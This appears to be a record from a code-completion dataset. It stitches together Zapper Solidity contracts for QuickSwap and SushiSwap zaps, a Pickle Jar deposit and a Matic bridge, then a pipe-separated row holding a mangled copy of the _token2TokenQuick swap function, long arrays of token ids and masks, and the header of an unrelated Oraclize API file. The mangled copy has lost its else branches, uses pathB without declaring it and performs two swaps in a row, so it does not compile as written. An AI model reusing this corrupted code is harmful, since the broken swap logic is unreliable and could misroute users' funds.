//if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = interAmt.div(2);
token1Bought = _token2Token(intermediate, _token1, amountToSwap);
token0Bought = interAmt.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, interAmt);
//if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = interAmt.div(2);
token0Bought = _token2Token(intermediate, _token0, amountToSwap);
token1Bought = interAmt.sub(amountToSwap);
}
return _quickDeposit(_token0, _token1, token0Bought, token1Bought);
}
function _quickDeposit(
address _token0,
address _token1,
uint256 token0Bought,
uint256 token1Bought
) internal returns (uint256) {
IERC20(_token0).safeApprove(address(quickswapRouter), token0Bought);
IERC20(_token1).safeApprove(address(quickswapRouter), token1Bought);
(uint256 amountA, uint256 amountB, uint256 LP) =
quickswapRouter.addLiquidity(
_token0,
_token1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
IERC20(_token0).safeApprove(address(quickswapRouter), 0);
IERC20(_token1).safeApprove(address(quickswapRouter), 0);
//Returning Residue in token0, if any.
if (token0Bought.sub(amountA) > 0) {
IERC20(_token0).safeTransfer(msg.sender, token0Bought.sub(amountA));
}
//Returning Residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_token1).safeTransfer(msg.sender, token1Bought.sub(amountB));
}
return LP;
}
function _getIntermediate(
address fromTokenAddress,
uint256 amount,
address _ToUnipoolToken0,
address _ToUnipoolToken1
) internal view returns (address) {
// set from to wmatic for matic input
if (fromTokenAddress == address(0)) {
fromTokenAddress = wmaticTokenAddress;
}
if (fromTokenAddress == _ToUnipoolToken0) {
return _ToUnipoolToken0;
} else if (fromTokenAddress == _ToUnipoolToken1) {
return _ToUnipoolToken1;
} else if (
_ToUnipoolToken0 == wmaticTokenAddress ||
_ToUnipoolToken1 == wmaticTokenAddress
) {
return wmaticTokenAddress;
} else {
IUniswapV2Pair pair =
IUniswapV2Pair(
quickswapFactory.getPair(_ToUnipoolToken0, _ToUnipoolToken1)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
uint256 ratio;
bool isToken0Numerator;
if (res0 >= res1) {
ratio = res0 / res1;
isToken0Numerator = true;
} else {
ratio = res1 / res0;
}
//find outputs on swap
uint256 output0 =
_calculateSwapOutput(
fromTokenAddress,
amount,
_ToUnipoolToken0
);
uint256 output1 =
_calculateSwapOutput(
fromTokenAddress,
amount,
_ToUnipoolToken1
);
if (isToken0Numerator) {
if (output1 * ratio >= output0) return _ToUnipoolToken1;
else return _ToUnipoolToken0;
} else {
if (output0 * ratio >= output1) return _ToUnipoolToken0;
else return _ToUnipoolToken1;
}
}
}
function _calculateSwapOutput(
address _from,
uint256 _amt,
address _to
) internal view returns (uint256) {
// check output via tokenA -> tokenB
address pairA = quickswapFactory.getPair(_from, _to);
uint256 amtA;
if (pairA != address(0)) {
address[] memory pathA = new address[](2);
pathA[0] = _from;
pathA[1] = _to;
amtA = quickswapRouter.getAmountsOut(_amt, pathA)[1];
}
uint256 amtB;
// check output via tokenA -> wmatic -> tokenB
if ((_from != wmaticTokenAddress) && _to != wmaticTokenAddress) {
address[] memory pathB = new address[](3);
pathB[0] = _from;
pathB[1] = wmaticTokenAddress;
pathB[2] = _to;
amtB = quickswapRouter.getAmountsOut(_amt, pathB)[2];
}
if (amtA >= amtB) {
return amtA;
} else {
return amtB;
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn)
internal
pure
returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ETH/ERC20 <> ETH/ERC20
@param fromTokenAddress The token address to swap from. (0x00 for ETH)
@param _ToTokenContractAddress The token address to swap to. (0x00 for ETH)
@param tokens2Trade The amount of tokens to swap
@return tokenBought The quantity of tokens bought
*/
function _token2Token(
address fromTokenAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
if (fromTokenAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
if (fromTokenAddress == address(0)) {
if (_ToTokenContractAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).deposit.value(tokens2Trade)();
return tokens2Trade;
}
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = quickswapRouter.swapExactETHForTokens.value(
tokens2Trade
)(1, path, address(this), deadline)[path.length - 1];
} else if (_ToTokenContractAddress == address(0)) {
if (fromTokenAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).withdraw(tokens2Trade);
return tokens2Trade;
}
IERC20(fromTokenAddress).safeApprove(
address(quickswapRouter),
tokens2Trade
);
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = quickswapRouter.swapExactTokensForETH(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
} else {
IERC20(fromTokenAddress).safeApprove(
address(quickswapRouter),
tokens2Trade
);
if (fromTokenAddress != wmaticTokenAddress) {
if (_ToTokenContractAddress != wmaticTokenAddress) {
// check output via tokenA -> tokenB
address pairA =
quickswapFactory.getPair(
fromTokenAddress,
_ToTokenContractAddress
);
address[] memory pathA = new address[](2);
pathA[0] = fromTokenAddress;
pathA[1] = _ToTokenContractAddress;
uint256 amtA;
if (pairA != address(0)) {
amtA = quickswapRouter.getAmountsOut(
tokens2Trade,
pathA
)[1];
}
// check output via tokenA -> wmatic -> tokenB
address[] memory pathB = new address[](3);
pathB[0] = fromTokenAddress;
pathB[1] = wmaticTokenAddress;
pathB[2] = _ToTokenContractAddress;
uint256 amtB =
quickswapRouter.getAmountsOut(tokens2Trade, pathB)[2];
if (amtA >= amtB) {
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathA,
address(this),
deadline
)[pathA.length - 1];
} else {
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathB,
address(this),
deadline
)[pathB.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
}
require(tokenBought > 0, "Error Swapping Tokens");
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2020 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract deposits to Pickle Jars with ETH or ERC tokens
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV1.sol";
interface IPickleJar {
function token() external view returns (address);
function deposit(uint256 amount) external;
}
contract Pickle_ZapIn_V1 is ZapInBaseV1 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice This function adds liquidity to a Pickle vaults with ETH or ERC20 tokens
@param fromToken The token used for entry (address(0) if ether)
@param amountIn The amount of fromToken to invest
@param toPJar Pickle vault address
@param minPJarTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise
@param intermediateToken Token to swap fromToken to before entering vault
@param swapTarget Excecution target for the swap or zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@return tokensReceived- Quantity of Vault tokens received
*/
function ZapIn(
address fromToken,
uint256 amountIn,
address toPJar,
uint256 minPJarTokens,
address intermediateToken,
address swapTarget,
bytes calldata swapData,
address affiliate
) external payable stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
// get incoming tokens
uint256 toInvest = _pullTokens(fromToken, amountIn, affiliate, true);
// get intermediate token
uint256 intermediateAmt =
_fillQuote(
fromToken,
intermediateToken,
toInvest,
swapTarget,
swapData
);
// Deposit to Vault
tokensReceived = _vaultDeposit(intermediateAmt, toPJar, minPJarTokens);
}
function _vaultDeposit(
uint256 amount,
address toVault,
uint256 minTokensRec
) internal returns (uint256 tokensReceived) {
address underlyingVaultToken = IPickleJar(toVault).token();
_approveToken(underlyingVaultToken, toVault);
uint256 iniYVaultBal = IERC20(toVault).balanceOf(address(this));
IPickleJar(toVault).deposit(amount);
tokensReceived = IERC20(toVault).balanceOf(address(this)).sub(
iniYVaultBal
);
require(tokensReceived >= minTokensRec, "Err: High Slippage");
IERC20(toVault).safeTransfer(msg.sender, tokensReceived);
emit zapIn(msg.sender, toVault, tokensReceived);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV1.sol";
contract MockZapIn is ZapInBaseV1 {
constructor(uint256 goodwill, uint256 affiliateSplit)
public
ZapBaseV1(goodwill, affiliateSplit)
{}
function ZapIn(
address fromToken,
uint256 amountIn,
address affiliate
) external payable stopInEmergency {
uint256 toInvest = _pullTokens(fromToken, amountIn, affiliate, true);
if (fromToken == address(0)) {
msg.sender.transfer(toInvest);
} else {
IERC20(fromToken).safeTransfer(address(0), toInvest);
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract swaps and bridges Matic Tokens to Ethereum mainnet
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV1.sol";
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB)
external
view
returns (address);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IChildToken {
function withdraw(uint256 amount) external;
}
contract Zapper_ETH_Bridge_V1 is ZapInBaseV1 {
IUniswapV2Factory private constant quickswapFactory =
IUniswapV2Factory(0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32);
IUniswapV2Router02 private constant quickswapRouter =
IUniswapV2Router02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
IUniswapV2Factory private constant sushiswapFactory =
IUniswapV2Factory(0xc35DADB65012eC5796536bD9864eD8773aBc74C4);
IUniswapV2Router02 private constant sushiswapRouter =
IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address private constant wmaticTokenAddress =
0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270;
uint256 private constant deadline =
0xf000000000000000000000000000000000000000000000000000000000000000;
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
function ZapBridge(
address fromToken,
uint256 amountIn,
address toToken,
bool useSushi,
address affiliate
) external payable stopInEmergency {
uint256 toInvest = _pullTokens(fromToken, amountIn, affiliate, true);
uint256 toTokenAmt;
if (useSushi) {
toTokenAmt = _token2TokenSushi(fromToken, toToken, toInvest);
} else {
toTokenAmt = _token2TokenQuick(fromToken, toToken, toInvest);
}
IChildToken(toToken).withdraw(toTokenAmt);
}
/**
@notice This function is used to swap MATIC/ERC20 <> MATIC/ERC20 via Quickswap
@param fromTokenAddress The token address to swap from. (0x00 for ETH)
@param _ToTokenContractAddress The token address to swap to. (0x00 for ETH)
@param tokens2Trade The amount of tokens to swap
@return tokenBought The quantity of tokens bought
*/
function _token2TokenQuick(
address fromTokenAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
if (fromTokenAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
if (fromTokenAddress == address(0)) {
if (_ToTokenContractAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).deposit.value(tokens2Trade)();
return tokens2Trade;
}
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = quickswapRouter.swapExactETHForTokens.value(
tokens2Trade
)(1, path, address(this), deadline)[path.length - 1];
} else if (_ToTokenContractAddress == address(0)) {
if (fromTokenAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).withdraw(tokens2Trade);
return tokens2Trade;
}
IERC20(fromTokenAddress).safeApprove(
address(quickswapRouter),
tokens2Trade
);
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = quickswapRouter.swapExactTokensForETH(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
} else {
IERC20(fromTokenAddress).safeApprove(
address(quickswapRouter),
tokens2Trade
);
if (fromTokenAddress != wmaticTokenAddress) {
if (_ToTokenContractAddress != wmaticTokenAddress) {
// check output via tokenA -> tokenB
address pairA =
quickswapFactory.getPair(
fromTokenAddress,
_ToTokenContractAddress
);
address[] memory pathA = new address[](2);
pathA[0] = fromTokenAddress;
pathA[1] = _ToTokenContractAddress;
uint256 amtA;
if (pairA != address(0)) {
amtA = quickswapRouter.getAmountsOut(
tokens2Trade,
pathA
)[1];
}
// check output via tokenA -> wmatic -> tokenB
address[] memory pathB = new address[](3);
pathB[0] = fromTokenAddress;
pathB[1] = wmaticTokenAddress;
pathB[2] = _ToTokenContractAddress;
uint256 amtB =
quickswapRouter.getAmountsOut(tokens2Trade, pathB)[2];
if (amtA >= amtB) {
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathA,
address(this),
deadline
)[pathA.length - 1];
} else {
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathB,
address(this),
deadline
)[pathB.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
}
require(tokenBought > 0, "Error Swapping Tokens");
}
/**
@notice This function is used to swap MATIC/ERC20 <> MATIC/ERC20 via Sushiswap
@param fromTokenAddress The token address to swap from. (0x00 for ETH)
@param _ToTokenContractAddress The token address to swap to. (0x00 for ETH)
@param tokens2Trade The amount of tokens to swap
@return tokenBought The quantity of tokens bought
*/
function _token2TokenSushi(
address fromTokenAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
if (fromTokenAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
if (fromTokenAddress == address(0)) {
if (_ToTokenContractAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).deposit.value(tokens2Trade)();
return tokens2Trade;
}
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiswapRouter.swapExactETHForTokens.value(
tokens2Trade
)(1, path, address(this), deadline)[path.length - 1];
} else if (_ToTokenContractAddress == address(0)) {
if (fromTokenAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).withdraw(tokens2Trade);
return tokens2Trade;
}
IERC20(fromTokenAddress).safeApprove(
address(sushiswapRouter),
tokens2Trade
);
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = sushiswapRouter.swapExactTokensForETH(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
} else {
IERC20(fromTokenAddress).safeApprove(
address(sushiswapRouter),
tokens2Trade
);
if (fromTokenAddress != wmaticTokenAddress) {
if (_ToTokenContractAddress != wmaticTokenAddress) {
// check output via tokenA -> tokenB
address pairA =
sushiswapFactory.getPair(
fromTokenAddress,
_ToTokenContractAddress
);
address[] memory pathA = new address[](2);
pathA[0] = fromTokenAddress;
pathA[1] = _ToTokenContractAddress;
uint256 amtA;
if (pairA != address(0)) {
amtA = sushiswapRouter.getAmountsOut(
tokens2Trade,
pathA
)[1];
}
// check output via tokenA -> wmatic -> tokenB
address[] memory pathB = new address[](3);
pathB[0] = fromTokenAddress;
pathB[1] = wmaticTokenAddress;
pathB[2] = _ToTokenContractAddress;
uint256 amtB =
sushiswapRouter.getAmountsOut(tokens2Trade, pathB)[2];
if (amtA >= amtB) {
tokenBought = sushiswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathA,
address(this),
deadline
)[pathA.length - 1];
} else {
tokenBought = sushiswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathB,
address(this),
deadline
)[pathB.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = sushiswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
}
require(tokenBought > 0, "Error Swapping Tokens");
}
}
| */ check output via tokenA -> tokenB | @notice This function is used to swap MATIC/ERC20 <> MATIC/ERC20 via Quickswap
@param fromTokenAddress The token address to swap from. (0x00 for ETH)
@param _ToTokenContractAddress The token address to swap to. (0x00 for ETH)
@param tokens2Trade The amount of tokens to swap
@return tokenBought The quantity of tokens bought
function _token2TokenQuick(
address fromTokenAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
if (fromTokenAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
if (fromTokenAddress == address(0)) {
if (_ToTokenContractAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).deposit.value(tokens2Trade)();
return tokens2Trade;
}
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = quickswapRouter.swapExactETHForTokens.value(
tokens2Trade
)(1, path, address(this), deadline)[path.length - 1];
if (fromTokenAddress == wmaticTokenAddress) {
IWETH(wmaticTokenAddress).withdraw(tokens2Trade);
return tokens2Trade;
}
IERC20(fromTokenAddress).safeApprove(
address(quickswapRouter),
tokens2Trade
);
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = quickswapRouter.swapExactTokensForETH(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
IERC20(fromTokenAddress).safeApprove(
address(quickswapRouter),
tokens2Trade
);
if (fromTokenAddress != wmaticTokenAddress) {
if (_ToTokenContractAddress != wmaticTokenAddress) {
address pairA =
quickswapFactory.getPair(
fromTokenAddress,
_ToTokenContractAddress
);
address[] memory pathA = new address[](2);
pathA[0] = fromTokenAddress;
pathA[1] = _ToTokenContractAddress;
uint256 amtA;
if (pairA != address(0)) {
amtA = quickswapRouter.getAmountsOut(
tokens2Trade,
pathA
)[1];
}
pathB[0] = fromTokenAddress;
pathB[1] = wmaticTokenAddress;
pathB[2] = _ToTokenContractAddress;
uint256 amtB =
quickswapRouter.getAmountsOut(tokens2Trade, pathB)[2];
if (amtA >= amtB) {
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathA,
address(this),
deadline
)[pathA.length - 1];
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
pathB,
address(this),
deadline
)[pathB.length - 1];
}
address[] memory path = new address[](2);
path[0] = fromTokenAddress;
path[1] = wmaticTokenAddress;
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
address[] memory path = new address[](2);
path[0] = wmaticTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = quickswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
}
require(tokenBought > 0, "Error Swapping Tokens");
}
| 9,972,518 | [
1,
19,
866,
876,
3970,
1147,
37,
317,
1147,
38,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
632,
20392,
1220,
445,
353,
1399,
358,
7720,
490,
11781,
19,
654,
39,
3462,
2813,
490,
11781,
19,
654,
39,
3462,
3970,
19884,
22270,
203,
565,
632,
891,
628,
1345,
1887,
1021,
1147,
1758,
358,
7720,
628,
18,
261,
20,
92,
713,
364,
512,
2455,
13,
203,
565,
632,
891,
389,
774,
1345,
8924,
1887,
1021,
1147,
1758,
358,
7720,
358,
18,
261,
20,
92,
713,
364,
512,
2455,
13,
203,
565,
632,
891,
2430,
22,
22583,
1021,
3844,
434,
2430,
358,
7720,
203,
565,
632,
2463,
1147,
13809,
9540,
1021,
10457,
434,
2430,
800,
9540,
203,
565,
445,
389,
2316,
22,
1345,
13663,
12,
203,
3639,
1758,
628,
1345,
1887,
16,
203,
3639,
1758,
389,
774,
1345,
8924,
1887,
16,
203,
3639,
2254,
5034,
2430,
22,
22583,
203,
565,
262,
2713,
1135,
261,
11890,
5034,
1147,
13809,
9540,
13,
288,
203,
3639,
309,
261,
2080,
1345,
1887,
422,
389,
774,
1345,
8924,
1887,
13,
288,
203,
5411,
327,
2430,
22,
22583,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
2080,
1345,
1887,
422,
1758,
12,
20,
3719,
288,
203,
5411,
309,
261,
67,
774,
1345,
8924,
1887,
422,
18200,
2126,
1345,
1887,
13,
288,
203,
7734,
467,
59,
1584,
44,
12,
91,
26500,
1345,
1887,
2934,
323,
1724,
18,
1132,
12,
7860,
22,
22583,
13,
5621,
203,
7734,
327,
2430,
22,
22583,
31,
203,
5411,
289,
203,
203,
5411,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
22,
1769,
203,
5411,
589,
63,
20,
65,
273,
18200,
2126,
1345,
1887,
2
] |
pragma solidity ^0.4.24;
/**
* Copyright YHT Community.
* This software is copyrighted by the YHT community.
* Prohibits any unauthorized copying and modification.
* It is allowed through ABI calls.
*/
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary
pragma solidity >=0.4.18;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
/*
Begin solidity-cborutils
https://github.com/smartcontractkit/solidity-cborutils
MIT License
Copyright (c) 2018 SmartContract ChainLink, Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
